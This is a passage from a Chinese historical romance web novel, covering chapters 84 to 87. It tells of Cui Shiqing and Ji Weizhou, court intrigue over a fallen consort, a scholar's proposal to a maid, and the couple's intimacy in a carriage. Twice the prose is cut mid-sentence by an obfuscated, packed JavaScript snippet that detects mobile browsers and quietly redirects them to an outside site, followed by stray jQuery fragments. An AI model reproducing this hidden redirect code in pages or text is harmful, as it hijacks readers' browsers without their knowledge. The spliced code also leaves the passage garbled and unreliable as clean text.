纪危舟沉眉思忖,尔后故作心有灵犀地颔首。 “城郊赏梅到底冷了点,不如我们同去春知乡采买些暖房培育的堂花?” “你怎么尽是想着玩乐了?”崔时清心里存了心事,不耐烦听这些风花雪月之事,不满地瞪他。 瞅着时时督促他不许上进的女娘,纪危舟一时无言。 兴许是纪危舟的眼神太过无辜,崔时清立时想起了暗戳戳使过的坏,心虚地摸了摸鼻尖,解释道:“与在何处赏花无关,我着实是受不了魏博士的唠叨了。” “软软并非嫌弃我,而是嫌弃信长啊!”纪危舟露出恍然大悟的神情,眸子里也有了笑意。 崔时清默了须臾,忍不住开口问:“你在得意什么?” 纪危舟勾唇笑着,“这是欢喜。我还以为成婚以后,软软便对我腻烦了,连花都不愿与我共赏。” “你胡思乱想,可不能攀扯我。”崔时清拒不承认他的指控。 虽说纪危舟足不出户,天天黏在身边,让她有些吃不消。但那种被掏空气力、沉溺于情爱的感觉,非要说困扰,也至多是对自己身心不得把控的焦虑,委实谈不上腻烦。 瞅着眼前的俊脸,崔时清心想,她还是想要看到纪危舟的。 “是,我是想多了,软软心里惦念着我。”纪危舟眉眼微弯,连心中都甜丝丝的,一改这几日的克制,亲热地搂抱着她。 男女情爱之事上,讲究的是细水长流。 他心中渴求过甚,便想要缠着崔时清,把九世空虚的心都添得满当。 但过分的索取,兴许会让向来自在的女娘感到拘束与厌烦,对于如何平衡把控其中的分寸、让崔时清久爱不倦之事上,纪危舟总感到力有不逮,因而惴惴难安。 但或许,他还是想得太多了,女娘心中有他,又怎会无故厌烦于他? 瞅着傻笑的郎君,崔时清也不禁莞尔,双臂环着纪危舟的脖子,在他的唇角轻啄了几下。 “喊你归家,是有事要商议。” “软软要说什么?”纪危舟温声道。 看着纪危舟心情颇好的模样,崔时清迟疑着,觑着他的面色开口:“你可有听到金临台的传闻?” 纪危舟顿了一瞬,微微颔首,淡声道:“我知道。” “你心里当真有数?”崔时清强调道。 “嗯。”拂过崔时清耳廓上的碎发,纪危舟看着她的眼睛说:“她不会如愿的,软软不必担心。” 崔时清不知该说什么才好,她是信任纪危舟的,仅仅听到他的一声劝慰,便消解了心中的不安。 “我能做什么?” 她的本意是不要介入储位之争的,在吴掌柜等人葬送勉州以后,更是本能地想要避开这些纷争。 但是,她同样知道。 皇太子的传闻,已经把纪危舟拖进这些阴谋之中,哪怕她想独善其身—— 崔时清深深望着眼前的人。 她无法独善其身,不论是被动的,还是心之所向的。 他们已然是一体,前路崎岖坎坷,也该并肩同路而行。 纪危舟有些意外地看着崔时清,他的女娘比想象中的更在意自己。 但…… “软软信我。”纪危舟捧起她的面庞,轻声道。 “我相信啊,但你却不信我?”崔时清默了须臾,蹙眉道。 纪危舟摇了摇头,指腹一点点抚过她的眉眼,专注地望着崔时清,“我愿意把自己的性命托付于你手中。但你、还有崔氏,都不应该为之涉险。软软嫁与我时,我所应下的,从未改变。” “……好,我不会涉入。”崔时清垂下眸子,轻声道,“但皇后此番来势汹汹,甚至在收集赵洛行在勉州团练民兵的把柄,恐怕不易对付,你定要小心。” “嗯,好。”纪危舟躬身靠在她的颈窝上,依恋地轻轻蹭了蹭,闷声道,“软软不要害怕。” “我才不怕。”肩颈微沉的重量,把崔时清的心压得落了实处,眉眼间的沉郁也尽数散去。 她想,天道之子不会输。 要是、要是输了。 便把他悄悄藏起来,去到谁也不认识的地方,他们还有昌隆兴,总归有后路。 “也是,软软胆大,是女中豪杰。”纪危舟箍紧了掌下的腰肢,闷声笑着。 温湿的气息洒在肩颈上,勾起丝丝痒意,崔时清不由瑟缩起双肩,掌心抵着纪危舟的鼻尖,轻轻推拒他的腻歪。 “不许乱动。” 纪危舟的鼻尖再次蹭过细滑的皮肤,引得崔时清不可自抑地轻颤了一下,“我分明本分得很。” “你本分?!”崔时清咬着牙,一字一顿道。 “嗯?” 纪危舟睁着无辜的眸子,轻飘飘地落在女娘的面上,却似是藏了勾子,惹得崔时清心猿意马,连唇瓣都干燥得发紧。 后颈被大掌托着,轻轻揉捏,崔时清骤然浑身发软,正要丢盔卸甲、由着敌军俘虏去,耳边却响起了两下叩门声。 崔时清如同被捕获,又重新放归江河的鱼儿,面色涨红、大口喘息着。 “何事?”被搅了好事,纪危舟的面色冷沉,连声音都透着不快。 江南斜乜了一眼身边只顾自己死活的管事,认命般开口:“……主子,赵晋求见。” “赵晋?”纪危舟的眼中闪过一丝不解。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14439334|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他和赵晋并无往来,好端端的,此人来作什么?!还挑这个时辰过来! 觑着纪危舟困惑又恼怒的神情,崔时清暗笑了一声,对着门外的人说道:“奉茶让他稍候片刻。” “是。”江南对着管事扬了扬下颌,低声道,“欠我的记得要还!” “诶,好咧,忘不了江小兄的!” 管事以父辈的年岁,张口闭口称兄道弟,惹得江南浑身不自在,但他却丝毫不在意,反而亲热地与他的小兄弟挤了挤眼睛,便忙着去招呼堂屋招呼客人。 府中上下都知道,但凡家主在正院,便要守着规矩,不能随意出入院子,更不可惊扰家主与娘子。 准时领着俸禄,还不用时时跟在主子身边伺候,这样好的差事打哪儿都难找。管事乐得轻松,也十分珍惜这份工,但唯独在客人来访时有些头疼。 他一把年纪,没见过这般缠人的郎君,实在顶不住每次与主母禀报要事时,家主幽怨的神色。这时候初生牛犊不怕虎的小兄弟便是管事最可靠的倚仗,为此甭说是喊声哥哥,爷爷也认的! 纪危舟不知道管事心中的腹诽,瞅着崔时清洞察明了的神色,有些吃味道:“软软何时与赵晋有往来了?他来做什么?” 崔时清瞥了一眼醋坛子,没好气地捏了下他的耳尖,笑道:“兴许是来求亲?” “?”纪危舟蹙着眉,一头雾水。 崔时清意味深长地微挑眉眼,招来若兮,附耳说了几句,便拉着纪危舟同去堂屋。 红极一时的状元孤子赵晋生得仪表堂堂、清隽疏朗,崔时清认真瞧了几眼,给了身边的醋坛子一个眼神。 “落菡有何贵干?”纪危舟扶袖邀他入座。 赵晋直言道:“赵某是为求娶府上的玄鱼而来。” 崔时清神色淡然,低垂着头整理衣袖,一副事不关己的模样。纪危舟扫了眼直通后堂的帘子,弯唇笑了下。 “玄鱼乃是内子身边的婢女,落菡想好了,要三媒六聘迎娶玄鱼?家中长辈可同意?” “我与玄鱼幼时相识,阿娘亦知晓此事,还请三公子与县主成全。”赵晋放低了姿态,躬身作揖。 “唤我既安便可。”纪危舟扶起他,笑道,“你来得突然,一时之间我们亦不知该如何应你。” 赵晋叹了一口气,如实说道:“玄鱼还是小女娘脾性,我原想过几年再来求娶,但听说贵女成婚以后会给婢子指亲,以便长留身侧服侍,故而今日才会如此唐突。” 纪危舟看向崔时清,见她情绪不高、却并无怒气,心知她是认可了以后心中反而不舍,才没有给赵晋好脸色,便道:“事关玄鱼的终身大事,不如落菡亲自与她说?” “这……”赵晋也瞅着面色微沉、不发一言的崔家县主,以为她是不肯松口,焦急地上前两步,“县主!” 傻里傻气的!小婢子也不知看上他什么了?!崔时清没好气地撇了撇嘴,径直走了。 纪危舟挡住赵晋,瞥向他身后的那处微颤的帘子,说道:“玄鱼跟在内子身边多年,虽说不舍,但若她愿意,自然会送上嫁妆与身契的。” 随着纪危舟的目光,赵晋也察觉帘后的异样,当即松了一口气,再次作揖行礼,拜谢他与已不见踪迹的崔家县主。 不知最后赵晋和帘子后的人都说了什么,稍迟些,状元郎赵晋即将迎娶小婢子的消息便传遍了京都。 这一夜,府里热闹非凡。 这一夜,青花瓷缸里的鱼儿游走于饼子间,吃得圆肚鼓鼓,胖了一圈。 85. 归家 小雪飞扬着,拂过城头枯枝簌簌而落,消融于黑褐色的泥土间。 女娘大事已了,崔家人也赶着年节前离京。 面对不知何时再见的家人,崔时清安静地跟在车马之后,把他们送至官道。 兄长幼弟的不舍、父母复杂难言的目光,似乎还在眼前,但载着他们的车马却已远去,渐渐隐匿在飘零落雪间。 “等开春天暖,你我便也离京。软软想见何人,我们便往何处去。”纪危舟拢紧了崔时清肩上的大麾,低声劝慰。 崔时清眨巴着酸涩的眼睛,收回了目光,仰头望着面前的郎君,“那你呢?不想尽早见到你家先生?” “我们多得是时间,晚些再去拜见先生也无妨。”纪危舟淡声道。 崔时清弯起唇角,靠在纪危舟身上,握着他的手来取暖,“老先生会不会生气?” “先生忙得很,若是我自个儿前去,怕是都要嫌我碍事的。”纪危舟无奈地耸肩,与崔时清告状。 崔时清眼前闪过纪危舟不受待见的模样,止不住偷乐,连眼睛都晶亮着。 “我对老先生真是好奇。” “小老翁脾气差得很,软软见过便知道。”纪危舟酸溜溜说道。 “你这样不敬,也不怕你家先生骂你?”崔时清揶揄。 纪危舟神秘兮兮地靠在她的耳边,温声低语道:“软软疼我,定然不会眼看先生揍我的。” “……”崔时清痴痴笑着,也不接这茬,骄矜地微扬下颌,“魏博士不是还在等着你?再不去,惹怒了他,可不许赖我。” “软软当真要弃我于不顾了?”纪危舟搂着怀中的女娘,委屈道。 崔时清正色道:“我可不能陪你受那苦头!快走!务必把他哄好,免得把人再招来府里念叨!” 纪危舟幽怨地瞅着她,直到认清现实,神色黯然地拂去崔时清肩上的落雪,扶她上了马车。 “在家里等我?” 崔时清颔首,“好,在家里等着!你早去早归!” 纪危舟捏了把她的指尖,把帘子落下,身形萧索地独自骑马而走。 几息过后,崔时清复又掀起帘子,瞅着纪危舟的背影,吩咐道:“去春知乡。” 不是说好了,要归家吗?!江南的表情有些木然,但又不敢违抗主母的命令,只得硬着头皮给了车夫一个眼神。 * 春知乡。 蔡梦期已在雅阁里候了许久,连发丝都被暖房里培育的牡丹花染得馨香沁鼻,舒坦得昏昏欲睡。 “真暖和。”崔时清走进阁子,连忙卸去沉重的披氅,蜷在炉子边烤火。 “我还以为纪家阿兄缠着你,出不来了呢。”蔡梦期打了个哈欠,揉着睡眼。 崔时清端起案上的花茶,抿了一口,语气淡淡道:“他忙着呢,哪里顾得上缠人了?” “哎哟,这茶怎是酸的?”蔡梦期一脸兴味地盯着她,问道,“谁家的妖精,还敢与你争抢纪家阿兄了?说来听听,我为你撑腰!” “……”崔时清斜乜着手帕交,慢声道,“魏客史。” 蔡梦期顿时泄了气,也端起酸茶用了几口。 “怎么不说话啦?不是要替我撑腰吗?”崔时清冷笑不止。 “我自个儿的腰板都是软的,哪里撑得住你了!”蔡梦期眼神乱瞟,实在不敢应这话。 国子监的书呆子,连他阿爹都不敢招惹,遑论是她这个小小的女娘子?!她可不想再把书呆子招上门,挨顿家法了! 崔时清扯了扯唇角,懒得理睬见风使舵的手帕交。 “那书呆子喜欢,你就让纪家阿兄好生哄着他,可不能闹脾气了!”作为过来人,蔡梦期忍着辛酸泪语重心长道。 崔时清瞥了眼不靠谱的友人,嗤声道:“我还不知道了?成日不着家地陪着他呢!” “如此便好!”蔡梦期长舒了一口气,随即又有些恶寒地抚了抚双臂,小声嘀咕道,“爱说教、还不惜命的书生最吓人了!谁也拿他没辙!” 崔时清深以为然,连连点头,对于前些时日没按捺住,自讨苦吃之事还耿耿于怀。 看着崔时清有气无力的模样,蔡梦期的声音都不由软了下来,柔声道:“怎么这副模样?舍不得你家人离京?” “唔、还好。”崔时清没什么表情地说。 蔡梦期不知怎么劝慰,捻起碟子里的蜜糕,喂到崔时清的嘴里,说道:“你知道江相明在洞房夜暴毙而亡了吗?” “……”崔时清差点没被噎死,捧着花茶连灌了两盏,才把凶器咽下腹中,眼睛憋得泛红地瞪着杀人未遂的手帕交。 “哎呀?江相明那种狗东西,死了便死了,你哭什么呀?!” “我哭!我也要把你揍得哭爹喊娘!”崔时清掐着蔡梦期的双颊,使劲蹂躏着,听着她声声惨叫,心中快意不已。 “怎么还恼羞成怒了?!诶唉、饶了我吧!”蔡梦期呜咽着求饶。 狠狠出了口气,崔时清把帕子递与同样泪眼婆娑的蔡梦期手中,露出了令人胆怯的笑容。 “说吧,他怎么突然暴毙了?” 蔡梦期一边拭着眼角的泪,一边哽咽道:“我哪里知道了!兴许是娶了王思玉,高兴过了头,突然旧疾猝死了?” “江相明那种狗东西,死了便死了,你哭什么?”崔时清轻啧了一声,把原话还与她。 面上不耐,心里却是为这一世蔡梦期彻底摆脱江相明而欢喜。 “没、没哭。”蔡梦期顶着红通通、火辣辣的双颊,敢怒不敢言,只得暗戳戳地磨着牙,发泄心中的不满。 崔时清看出她心里不服,张扬地笑道:“没哭就好,为了庆祝这世上再少了一个碍眼的东西,请你喝酒!” “好端端的,喝什么酒呀。”蔡梦期嘀咕着。 崔时清攒眉瞅她,“不喝拉倒!” “……喝喝喝!我们也好久没有对饮了!不如去拂仙楼?”蔡梦期莫名有些欢喜,也忘了面上的委屈。 “春知乡也有百花私酿。”崔时清说着,敲动铃铛,对着门外的女使说道,“让你家掌柜准备酒菜。” “还是你会享乐。”蔡梦期满眼期待,连嘴也甜了起来。 崔时清依靠在软枕上,看着蔡梦期眉眼的明媚,轻笑着,“我家阿兄都离京了,可有想法?” “……啊、这,崔氏子弟自然是极好的。”蔡梦期支吾地说。 崔时清看着她的眼睛,等着手帕交继续说。 “但是我的脾性自在惯了,委实担不得世家娘子的重任。”蔡梦期说完,心中顿时一松 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想到近来被御史大人逼着相看册子的李昶,蔡梦期扯着唇角,叹声道:“成婚有什么好的?看看王思玉的下场,我都发怵了。” “阁远侯不肯放她归家?”崔时清轻点膝头,懒洋洋问。 “王家没了儿郎,把这笔账都算在王思玉头上,哪里肯放手?不是攥在手里磋磨,便是要送到京郊庵子的。”蔡梦期心底泛起一阵恶寒。 “恶人自有恶人磨,总归与我们无关。”崔时清睨着手帕交。 蔡梦期想起青云阁之事,不由冷笑道:“我才不理她呢!” 崔时清端起茶盏,扫了眼生着闷气的人,慢声道:“近来四下乱得很,连个安生日子都难,麻烦人与麻烦事皆不可沾惹半点。” “我知道。”蔡梦期叹了口气,惆怅道,“自从金临台毁于大火,陛下脾气愈发古怪,连我祖父都夹着尾巴做人,我哪敢乱来了?” “陛下心情不好,身边之人更要警惕了。”崔时清把玩着青瓷盏,随口揶揄道,“特别是你那位表兄,混账事干了不少,到处都是破绽,若是有人算计,怕是连勉州团练的旧事都可以翻出来做文章。伴君如伴虎,还是要提防才是。” 蔡梦期的心咯噔了一下,眼神逐渐复杂。 她的这位挚友向来对朝堂之事不感兴趣,更是甚少置评,上一次她这么随口谈及的公主府诗会便出了问题,这一次…… 还没等蔡梦期想明白,崔时清便改了话头,与她闲谈起春知乡的花酿,一副兴起的模样,让她也无法再提朝堂算计的腌臜事,败了彼此的兴致。 但蔡梦期还是把心中的顾虑记下,想着迟些必定要提醒姑母几句。 煮酒赏花,及至日下。 头顶帷帽、围着披麾,崔时清与友人道别,酒色微酣走出春知乡。 马车边候着长身而立的郎君,挺拔健硕的身体包裹在圆领窄袖袍子下,夕阳余晖拢着他,深邃的黑眸盈动着熠熠星子。 崔时清懵怔了须臾,扑入了他的怀中,掌心抚在厚实的胸膛上,感受了一把衣下的肌理,满意地扬起下颌,隔着薄纱吻上了润红微凉的唇瓣。 嗯、比花酿更香。 86. 特别 美酒的醇香引人沉醉,仅凭薄纱下的温软是消解不了这份渴意的。 郎君的大麾整个罩住了崔时清,下一瞬帷帽被取下,红唇落在了微颤的喉结上。崔时清还没来得及使坏,双脚骤然离地,攀在肩胛上的指尖蜷缩着,紧紧扣住轻薄的袍子。 “想我了?”下颌抵在女娘的发顶,纪危舟的声音低沉,带着些蛊惑的意味。 被困于大氅和滚热的身体间,酒后的酣醉更浓了几分,崔时清晕沉沉地嘟哝道:“嗯,很想,我正要到国子监找那书呆子要人呢!” “不怕魏博士了?”纪危舟抱着女娘,唇边溢出轻笑。 “哼!我才不怕呢!敢与我抢人,非得要他好看!”挂在纪危舟身上,热得浑身发软,连威胁的狠话都软绵绵的,透着平日少有的娇憨。 纪危舟抿了下唇,阔步走上马车。 厚毡子制成的帘布落下,大氅亦散落脚边,暖黄的灯左右晃动着,把凌乱的发丝映出了柔和的光泽,面颊酡红的女娘眨巴着湿润的眸子,靠在郎君身上,不太适应突然而至的光亮。 “软软。” “……唔、唔?” 眼前的灯再被遮住,崔时清微微瞪着水眸,还没有想明白灯起灯灭之事,便被卷入一场猛烈的疾风骤雨中。 唇齿被强势地抵开,熟悉的气息霸道袭来,一寸寸吮舐啃咬,把娇软的舌尖厮磨得红肿刺痛,带着焦急、与难耐,急切地缠吻着,掠夺走所有的津水,像是要把人吞吃入腹。 在这过分的痴缠下,崔时清愈发糊涂,胡乱攥着掌下的袍衣。如同攀附悬崖边的树干,呼声越来越弱,气力也一点点殆尽,在混乱中不知何时抖落绣鞋的脚趾难耐地蜷缩着,绷直了脚背,仅靠着本能依附着他。 马车滚滚而行,细弱的啜泣声回荡在车厢内,他们在花酿的醇香中跌跌撞撞,亦于行路征途里神魂颠倒。 及至云散雨歇,摇曳的灯火逐渐平静。 崔时清似乎醉得更厉害了,瓷白的肌肤浮起大片的红晕,藕臂无力地垂落下,连圈住郎君肩颈的气力也都不剩,只得顺从地依偎在那片濡湿的胸膛上,低低喘息着。 “软软真美。” 带着薄茧的指腹划过泪湿的面颊上,微肿的红唇轻咬过的痕迹极为暧昧,桃花眼迷茫地睁着,迟钝地跟随着郎君而动,余韵未散尽的身体敏感得很,在这样流连轻抚下,不住颤抖着单薄的肩背,惹人怜爱。 “痒。”崔时清叼住唇边的手指,闷声抱怨。 “那、软软惩罚我吧。”纪危舟注视着闹脾气的女娘子,眼神有些痴迷。 “……惩罚?”崔时清口齿不清地咕哝了一声,便嫌弃口中的手指碍事,挥手打落,皱眉道,“罚什么?” “随你予夺。”指下微微收紧,双手箍着女娘的腰肢,纪危舟弯着脊背平视崔时清的眸子。 在几近明示的视线下,崔时清下意识低头看了一眼,小腿发颤,顿时酒醒。 “不、不必了!” 拒绝的同时,崔时清忙把被自己扯得松散的衣襟拢了起来,遮住惹眼的胸肌,扣得严严实实,嘱咐道,“天冷!不要着凉了!” 纪危舟欲言又止,到底也没好意思自己再把扣紧的衣襟解开,只有幽幽地睨着崔时清,想再哄着她干些坏事。 勾住圆润泛红的指尖,按在心口上,眨了下眼睛,慢声唤道:“软软。” “……”崔时清瞥了他一眼,呼吸微滞,默默移开视线,底气不足地嘟哝,“不许这么看着我。” “为何?”纪危舟在她耳边问。 崔时清的心动摇了一瞬,很快又被空荡荡、已被吸干的身体拖累着,不敢再妄动欲念。 “我们还年轻,要克制!不可为一时之乐,而伤了身子!” “阴阳调和,亦是养生之道,怎可强忍?”揉捏着崔时清的手,纪危舟不紧不慢地说道,“憋坏了、岂不更糟?” “……还会憋坏?”崔时清一时被绕了进去,紧张兮兮地睁大了眸子。 纪危舟为她挽起耳边的碎发,轻啄着灵秀可爱的耳珠,哑声道,“软软分明也想要的,不是吗?” 她、想—— “想什么?想不了!也要不起!” 崔时清强行恢复了冷静,拍了拍纪危舟的肩膀,目光清明地瞅着他,开口道:“不行的!再这样下去,我怕是要步上江相明的后尘!” “胡说。”纪危舟没好气地捏住这张口无遮拦的嘴巴,沉眉道,“他是因寒食散而亡,可不是你想的那样。” “啊?!寒食散还能吃死人?” 崔时清只知道寒食散会使人成瘾,改变人的脾性,不能及时服用便会躁怒难安,却不知还会夺人性命。 小算盘落空,纪危舟轻叹了口气,慢条斯理地整理着崔时清的衣裙,解释道:“寒食散需要冷食,但若是以酒冲服,则需要温煮过后才能服用,食用不当、便会导致经脉堵塞,从而引发急症,为此暴毙的不在少数。” 崔时清思忖着嘀咕道:“江相明又非第一次用寒食散,怎会不知用法?” 闻言,纪危舟神色淡淡,没有多说。 但崔时清看着他的神情,突然福至心灵,顿悟道:“是她耍了花招?” “我不知道。”纪危舟如实道。 不论是王思玉,还是江相明,他皆不在意,更不会在他们身上投入多余的精力。 虽然并未得到肯定的答案,但崔时清却越发肯定心中的猜想。 她不想深究江相明对王思玉做了什么,以至于让王思玉宁愿背负克夫之名,也要在新婚之夜痛下杀手。 她心里只有些惋惜。 比之这样的下场,崔时清更希望看到他们互相折磨,一生一世都绑在一起,如此才更让人解气。 “好了,这些糟污事与我们无关,软软有这空闲,还不如多多疼我几分。”纪危舟酸溜溜地搂抱着神游天外的女娘。 “在国子监还没被疼够?”崔时清好笑道。 “软软。”纪危舟幽怨地瞅着她。 左臂撑在纪危舟的肩上,指腹划过浓黑的长睫,崔时清继续戏弄着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14457633|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“今日魏博士又布置了什么功课与你了?有没有被骂?偷偷掉泪眼了没有?” “有人欺负我,软软还这般欢喜?”纪危舟瓮声瓮气地控诉。 崔时清笑吟吟地看了他片刻,“我哪里欢喜了?我不过是想你了,想多多关心你与魏博士的相处呀。” “骗子。”纪危舟低声道。 “我才没有骗人。”崔时清眉眼微弯,笑得春风得意。 纪危舟托起崔时清的下巴,鼻尖相抵着,看着含笑的眸子。 “软软不是说了,要在家里等我吗?怎么来春知乡与人喝起花酿了?软软便是这般想我的?” “……”酒醒得太早了!崔时清有些懊恼,面对纪危舟的质问无言以对。 等了片刻,纪危舟尝了一口红润的唇瓣,沉声道:“你就是用这张嘴来诓骗我的?” “不是!”崔时清下意识否认。 纪危舟微眯着眸子,哑声道:“不是这张,难道——” “是是是!诓了三郎,我认罚!”崔时清立即认怂,双臂攀着郎君的肩颈,谄媚地把自己的唇送了上前,“你再亲亲?” 拇指碾过她的下唇,纪危舟一本正经道:"我还要再寻些确凿的证据,才可定案。" 再寻证据?不得要她命了?! 崔时清着急忙慌噘嘴堵住纪危舟,连啄了数下,理直气壮地不许他再追究。 “好了,就此翻篇了!” “但我还……”纪危舟忍着笑,拖长了尾音道。 “还什么,我不管,说好了!”崔时清双手捂着他的嘴,强行封印。 纪危舟乖顺地瞅着她,也不挣扎。 温热的鼻息洒在手心,崔时清看着清亮的黑眸,掌下的触感温软得不像话,连心跳也快了几拍。她羞涩地枕在纪危舟的肩头,欲盖弥彰地掩饰发烫的脸颊。 “怎么还没到家。” “累了便靠着我歇一会儿。”把墨黑的长发拢在手中,纪危舟温声道。 崔时清没有拒绝,挪动了一下,舒舒服服窝在郎君的怀中,声音慵懒地低语着。 “为何会有喜欢一人,但又不愿与他厮守?” “软软指的是?” “梦娘说喜欢我家阿兄的容貌,但却不能为了他,忍受世家责任。” 纪危舟淡声道:“一个人的喜好可以有无数可能,但唯有挚爱才能使人克服诸多困难。” “喜欢又不能厮守,是因为不够特别?也不够喜欢?” “兴许是的。” “我对你而言,是世上独一无二的?”崔时清忍不住把心中藏了许久的问题道出口,说完以后,连呼吸都慢了下来,紧张地攥着掌心。 “你于我而言,就是这天地间最特别的,谁也不能取代唯一的挚爱。”纪危舟在她耳边蹭了下,回答道。 崔时清弯起唇,在纪危舟的耳廓上亲了一口,小声道。 “你也是世间最特别的。” * 贵妃蔡妙妍言行不端、举止荒诞,即日起禁足宫中。 87. 需要 贵妃娘娘被训斥禁足的消息传得沸沸扬扬,一时间既有揣度贵妃与离虚道长在潜邸的旧时情分,又有宣扬督造金临台的离虚道长偷工减料,借此敛财的。 紧接着,更骇人的消息传出。 据闻在贵妃寝殿里搜查出大批御用的淬仙丹,经过御医查验,以有损龙体的寒食散制成,被赐予过丹药的当官贵人都一窝人寻医问药,唯恐落下隐疾。 之后众人的目光又投向了皇长子的府邸,即便宫中还未下诏,但贵妃亲子的府宅外已多了禁军的身影,显然是遭变相的禁足。 崔时清神情肃冷地坐在暖榻上,听着柳氏探听回来的消息。 “郎君呢?”她问。 “一早便捧着书卷出门,应是到国子监了。”柳氏奉起茶盏,目光柔和地哄着崔时清饮茶。 得知纪危舟又被书呆子勾走,崔时清感到胸闷烦躁,就着柳氏的手喝了半茶盏,也压不下心里的火气。 “成天不知家。”崔时清嘀咕道。 “这话便不公道了,论说顾家,谁家郎君也比不过三郎呀。”柳氏拿着帕子,笑盈盈地为她擦嘴。 崔时清知道,也没想把纪危舟日日困在家中,真要如此她自个都受不住。 但是心里不痛快,便要找茬,瞅着柳氏,瘪了瘪嘴。 “阿姆现在都不疼我了。” “这话如何说的?”柳氏搂着崔时清,失笑道。 崔时清依偎在柳氏怀中,语气发酸地说:“阿姆觉得纪危舟那厮千般万般的好,话里话外都偏袒他。” “三郎再好,也比不过时娘。您可是奴家的心肝肉,奴家疼爱都来不及呢。”柳氏温声软语,只差没把女娘抱起来,如幼时般背着四处嬉闹。 “……也是,他比不过我讨人喜欢。”崔时清咧嘴笑着。 柳氏慈爱地抚摸着简单绾起小髻、素淡没有珠钗的乌发,说道:“三郎对时娘的好,奴家都看在眼中,再不敢乱点鸳鸯谱了。眼下唯一的念想便是留在你们身边,看顾你们以后的小儿女。” 崔时清抿唇无言。 她心里有些矛盾,既希望柳氏不要与天道之子生出龃龉,又不愿看到柳氏疼爱纪危舟的心越过自己。 不论是纪危舟,还是柳氏。 她都希望自己可以占据他们心中最重要的那个位置。 崔时清想了想,又觉得有些好笑,羞赧地贴在柳氏温软的怀中,撒娇着。 “以后有了小儿女,阿姆也要最疼爱我。” 看着与尚未出世的小儿女争宠的女娘,柳氏心中软得不行,连声应道:“这是自然,谁也越不过时娘的。” 崔时清和柳氏围在暖炉旁闲谈着,正说道儿时趣事,若兮突然来报,说是赵晋派了喜婆子来送聘礼。 玄鱼家中已没了人,要从府里出嫁,故而这些事情都得柳氏出面安排,这会儿也顾不上闲聊,急急忙便告退离去。 没了柳氏相亲,崔时清的情绪又有些低落。 若兮看着同房的女娘皆博得了好前程,心里热得不行。 此时见主子烦郁,自是不能视而不见,便屈膝蹲在暖榻边,为崔时清捶膝捏脚。 崔时清扫了一眼格外殷勤的若兮,思量着,没有拒绝她的上进,但也没有主动说些什么。 但若兮却有些沉不住气,在崔时清昏昏欲睡之前,声音温软、嬉笑着说起俏皮话来。 “没想到赵郎君如此猴急,这么快便定下婚期,把玄鱼弄得措手不及,日夜不停地埋头绣嫁衣呢。” 崔时清语气淡淡地说:“待嫁娘总是如此。” “嬷嬷也是这样说,特意让绣房的娘子过去帮忙,让玄鱼得空养一养手。”若兮一边说着,一边认真地为崔时清揉捏解乏。 崔时清半阖着眸子,没有接话,但面色和缓,并没有不耐的意思。 若兮小心翼翼地看了眼,心里有了底气,又自顾自地说道:“这几日嬷嬷正在挑选婢子,似乎是赵郎君也有嘱托,人牙子还来过好几回,要顺道儿与玄鱼选出贴身婢子,带入夫家中。” “以后好歹也是官家夫人,理应有自己的人。”崔时清随口应道。 若兮笑着点头。 要说没有眼红,那肯定是假的。 人家凭着儿时的情分,舍了正经的官家女娘,迎娶同样孤女出身的玄鱼。这种情谊,让她们也至多说上几句酸话,其他的便是羡慕和感慨了。 但转念一想,赵晋不过是孤子,无依无靠,年后便要到外县上任。现下要的这门亲事,算是把姻亲的筹码都扔了,若是无人提拔,怕是要在地方蹉跎。 官位低微的家眷,没有底蕴私产,吃喝或许都比不过她。 如此想来,若兮心中的艳羡也淡了不少。 “还是主子好,为玄鱼应了这门好亲事。”若兮恭维道。 崔时清扫了她一眼,似笑非笑道:“近来喜事多,若是还有上门提亲的郎君便都唤来吧,我自会为你们备好嫁妆。” “主子!”若兮羞答答地娇嗔一声,又适时地表忠心道,“婢子是您的人,想的便是长久陪在主子身边,万万不敢有别的心思。” 崔时清眼尾微挑,淡笑着望向面前的婢子,黑漆漆的眸子投射出一道可以看穿人心的冷光。 “我要的只有你们的忠心,其他一切都好说。” 在这道目光下,中衣被冷汗濡湿,黏糊糊地贴在背脊上,若兮的皮肤被这种黏腻的触感激起大片鸡皮疙瘩。 她垂首道:“婢子晓得,定会全心服侍主子。” 作为多年前被放在表姑娘身边的暗线,可笑的是克制她的软肋已不再世上,她却依旧没有被启用。 日复一日在繁重枯燥的杂活中煎熬,等待被记起,甚至忘了最初的不情愿,但很显然曾经的主子已经忘记、或是不需要她的存在了。 在她溺于被人遗忘的痛苦中,眼前之人把她从深渊里拉了出来。 最开始在国公夫人令她旁敲侧击探听心意时,她获得过短暂的满足。 但是这与她以一等婢女身份,把双手养护得柔软嫩滑,站在崔氏县主身边所得到的满足相比,实在微不足道。 与其继续蛰伏暗处,永远当一个被遗忘的粗使婢女,她愿意为自己寻条光明的前程。 如果忠心是必须付出的代价,那么这一次不再需要任何胁迫与牵制,她心甘情愿献上。 若兮抬起头来,凝望着崔时清,张口道:“婢子有——” “嗯、我知道了。”在俩人相视的一瞬,崔时清已明白她所作出的选择,扯动唇角打断了她的自白。 机会,她愿意给。 这一世再选择背叛,她会亲手砍下此女的脑袋。 若兮后退几步,无声伏拜。 * 玄鱼在单独的小院里待嫁,不便再来伺候。 午食过后,柳氏领着府中婢女来正院,由崔时清挑选可用之人。 坐于正厅高座上,翻 